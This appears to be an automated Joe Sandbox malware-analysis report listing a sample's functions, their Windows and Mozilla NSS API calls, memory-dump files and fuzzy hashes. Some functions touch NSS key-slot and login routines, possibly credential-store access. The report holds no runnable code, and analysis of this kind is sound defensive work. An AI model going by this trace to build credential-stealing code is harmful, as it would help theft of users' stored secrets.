Instruction ID: b525993d3653b5cdbdb89d60d84c2714465d19d0d8b7d3dbee3d060d473dc88b
Opcode Fuzzy Hash: d516193b4eacb3cfbe745495b9c80b1d1e66abe5c3fce3c39bfd6e82e7cb4c44
Instruction Fuzzy Hash: 60E09270605711ABEB007FB68E08B167EFCA75A64DF00D137AA1499601EBB4D5408A50

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 6C7DEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7DEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C7DEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C7DEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7DEEEB
free.MOZGLUE(?), ref: 6C7DEEF6

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 995e631a30ba2d87510a1771c19d9ef130d3a57790a894ac68d159691699b4d5
Instruction ID: 9d73be270eb20b3eded4d4cd97f241b874340f7646c1327e6e78da4435b15d98
Opcode Fuzzy Hash: 995e631a30ba2d87510a1771c19d9ef130d3a57790a894ac68d159691699b4d5
Instruction Fuzzy Hash: C33147716046069BF7219F28CD44766BBF8FB46309F160638E85AC7A50D731F810CBD1

Function 6C7EAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C7E3FFF,00000000,?,?,?,?,?,6C7E1A1C,00000000,00000000), ref: 6C7EADA7

Part of subcall function 6C8414C0: TlsGetValue.KERNEL32 ref: 6C8414E0
Part of subcall function 6C8414C0: EnterCriticalSection.KERNEL32 ref: 6C8414F5
Part of subcall function 6C8414C0: PR_Unlock.NSS3 ref: 6C84150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C7E3FFF,00000000,?,?,?,?,?,6C7E1A1C,00000000,00000000), ref: 6C7EADB4

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C7E3FFF,?,?,?,?,6C7E3FFF,00000000,?,?,?,?,?,6C7E1A1C,00000000), ref: 6C7EADD5

Part of subcall function 6C83FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C838D2D,?,00000000,?), ref: 6C83FB85
Part of subcall function 6C83FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C83FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C9094B0,?,?,?,?,?,?,?,?,6C7E3FFF,00000000,?), ref: 6C7EADEC

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7E3FFF), ref: 6C7EAE3C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 4a50fa721f1e747e6283dc5987a2d8e0a10bb028462669b54f26702a6ce511ab
Instruction ID: 0dcc76c545fb608e5041fb85d8afcaa27c88268234f0385141fddf45fc55a8ce
Opcode Fuzzy Hash: 4a50fa721f1e747e6283dc5987a2d8e0a10bb028462669b54f26702a6ce511ab
Instruction Fuzzy Hash: DE117B72E002195BE7209B699E41BBF77BCDF9525CF004A38EC1986741F760E96882E2

Function 6C808E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C822E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7F4F1C), ref: 6C808EA2

Part of subcall function 6C82F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C82F854
Part of subcall function 6C82F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C82F868
Part of subcall function 6C82F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C82F882
Part of subcall function 6C82F820: free.MOZGLUE(04C483FF,?,?), ref: 6C82F889
Part of subcall function 6C82F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C82F8A4
Part of subcall function 6C82F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C82F8AB
Part of subcall function 6C82F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C82F8C9
Part of subcall function 6C82F820: free.MOZGLUE(280F10EC,?,?), ref: 6C82F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C822E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7F4F1C), ref: 6C808EC3
TlsGetValue.KERNEL32(?,?,?,6C822E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7F4F1C), ref: 6C808EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C822E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C808EF1
PR_Unlock.NSS3 ref: 6C808F20

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fe1528c48c48fa1f2426856be0d7f00a604febb88a11f4c0735defe17e212fc3
Instruction ID: d8e1178edd3b2f77c2ccc1cc711356eaf6bc91144d7f5525e5123f276ea00b80
Opcode Fuzzy Hash: fe1528c48c48fa1f2426856be0d7f00a604febb88a11f4c0735defe17e212fc3
Instruction Fuzzy Hash: E4218D71A096159FC710AF39DA8459ABBF0FF48318F01496EEC989BB41D730E894CBD2

Function 6C7F8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C800710), ref: 6C7F8FF1
PR_CallOnce.NSS3(6C942158,6C7F9150,00000000,?,?,?,6C7F9138,?,6C800710), ref: 6C7F9029
calloc.MOZGLUE(00000001,00000000,?,?,6C800710), ref: 6C7F904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C800710), ref: 6C7F9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C800710), ref: 6C7F9078

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 390021bb1d364587f6ee2ffb5de191389ede4369cb7f0ab5071870a8bd1f6cc1
Instruction ID: dcee4799eb457a9595f900294f934c2fe4cf5e6e1a89949df75912d22a747042
Opcode Fuzzy Hash: 390021bb1d364587f6ee2ffb5de191389ede4369cb7f0ab5071870a8bd1f6cc1
Instruction Fuzzy Hash: 50112B2170411367E7201EAD9D88A6A72ACEB927ACF500531FC64C6B40F753CD4783E1

Function 6C80CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C821E10: TlsGetValue.KERNEL32 ref: 6C821E36
Part of subcall function 6C821E10: EnterCriticalSection.KERNEL32(?,?,?,6C7FB1EE,2404110F,?,?), ref: 6C821E4B
Part of subcall function 6C821E10: PR_Unlock.NSS3 ref: 6C821E76

free.MOZGLUE(?,6C80D079,00000000,00000001), ref: 6C80CDA5
PK11_FreeSymKey.NSS3(?,6C80D079,00000000,00000001), ref: 6C80CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C80D079,00000000,00000001), ref: 6C80CDCF
DeleteCriticalSection.KERNEL32(?,6C80D079,00000000,00000001), ref: 6C80CDE2
free.MOZGLUE(?), ref: 6C80CDE9

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4d800760476bf4add3a573b32495ba9fdc19d62076d57ed509b32cb509ed74b3
Instruction ID: c9c6e9b889d487a0e0e1636a4e841fbc4e3c8825e707495c4b1d75f88d5c541a
Opcode Fuzzy Hash: 4d800760476bf4add3a573b32495ba9fdc19d62076d57ed509b32cb509ed74b3
Instruction Fuzzy Hash: AD11C6B2B01525ABDF20AE65ED44996B73DFF04259B100931ED09D7E02D732E864C7E2

Function 6C872CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C875B40: PR_GetIdentitiesLayer.NSS3 ref: 6C875B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C872CEC

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_EnterMonitor.NSS3(?), ref: 6C872D02
PR_EnterMonitor.NSS3(?), ref: 6C872D1F
PR_ExitMonitor.NSS3(?), ref: 6C872D42
PR_ExitMonitor.NSS3(?), ref: 6C872D5B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 55dad7eb4966e096e17fbd88510784d95b41a5b0347c0a4d4ac6917fca9f17fb
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 0401C8B19046049FE7309E6AFE40BCBBBA1EF45359F004D35E85986710F736F41587A2

Function 6C872D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C875B40: PR_GetIdentitiesLayer.NSS3 ref: 6C875B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C872D9C

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_EnterMonitor.NSS3(?), ref: 6C872DB2
PR_EnterMonitor.NSS3(?), ref: 6C872DCF
PR_ExitMonitor.NSS3(?), ref: 6C872DF2
PR_ExitMonitor.NSS3(?), ref: 6C872E0B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: aba642727888e59746efd9887b0fbba2688f4e05a71fb48e62c34c002cb2cca0
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 7001C8B29046049FE7309E69FE41BCBB7A1EF41358F000D35E85986B11E736F81586A2

Function 6C80AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C80AE42), ref: 6C7F30AA
Part of subcall function 6C7F3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7F30C7
Part of subcall function 6C7F3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7F30E5
Part of subcall function 6C7F3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7F3116
Part of subcall function 6C7F3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7F312B
Part of subcall function 6C7F3090: PK11_DestroyObject.NSS3(?,?), ref: 6C7F3154
Part of subcall function 6C7F3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7E99FF,?,?,?,?,?,?,?,?,?,6C7E2D6B,?), ref: 6C80AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7E99FF,?,?,?,?,?,?,?,?,?,6C7E2D6B,?), ref: 6C80AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7E2D6B,?,?,00000000), ref: 6C80AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C7E2D6B,?,?,00000000), ref: 6C80AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C7E2D6B,?,?), ref: 6C80AEA3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 4ad492c768674b2c1855cd1226a85b804e683d0c551e127353379f2a134d3924
Instruction ID: 18875495a52faf937408fb5cc0d04c5516d1fdc8258491269960252b59596fec
Opcode Fuzzy Hash: 4ad492c768674b2c1855cd1226a85b804e683d0c551e127353379f2a134d3924
Instruction Fuzzy Hash: A101F472B1442457E721A16CEEC9AEF31588F9765CF080831E809D7B01F611E90542E3

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00920518,?,?,?,0041140C,?,00920518,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,00920518,00920518,?,0041140C,?,00920518), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,00920518), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 6C8FADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C8FA6D8), ref: 6C8FAE0D
free.MOZGLUE(?), ref: 6C8FAE14
DeleteCriticalSection.KERNEL32(6C8FA6D8), ref: 6C8FAE36
free.MOZGLUE(?), ref: 6C8FAE3D
free.MOZGLUE(00000000,00000000,?,?,6C8FA6D8), ref: 6C8FAE47

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 3716b7ec0834a51296b48eb7fe85d96abbb7672448ce4e5d8befa38c78be9456
Instruction ID: 29a4f581eb25be6323b3dc612bede17de2b6d41e9e2179afb9604ecaba1da2da
Opcode Fuzzy Hash: 3716b7ec0834a51296b48eb7fe85d96abbb7672448ce4e5d8befa38c78be9456
Instruction Fuzzy Hash: 26F096B6201E15ABCF209F68D8089577778BF867B57240328E53EC3940D731E516D7D5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
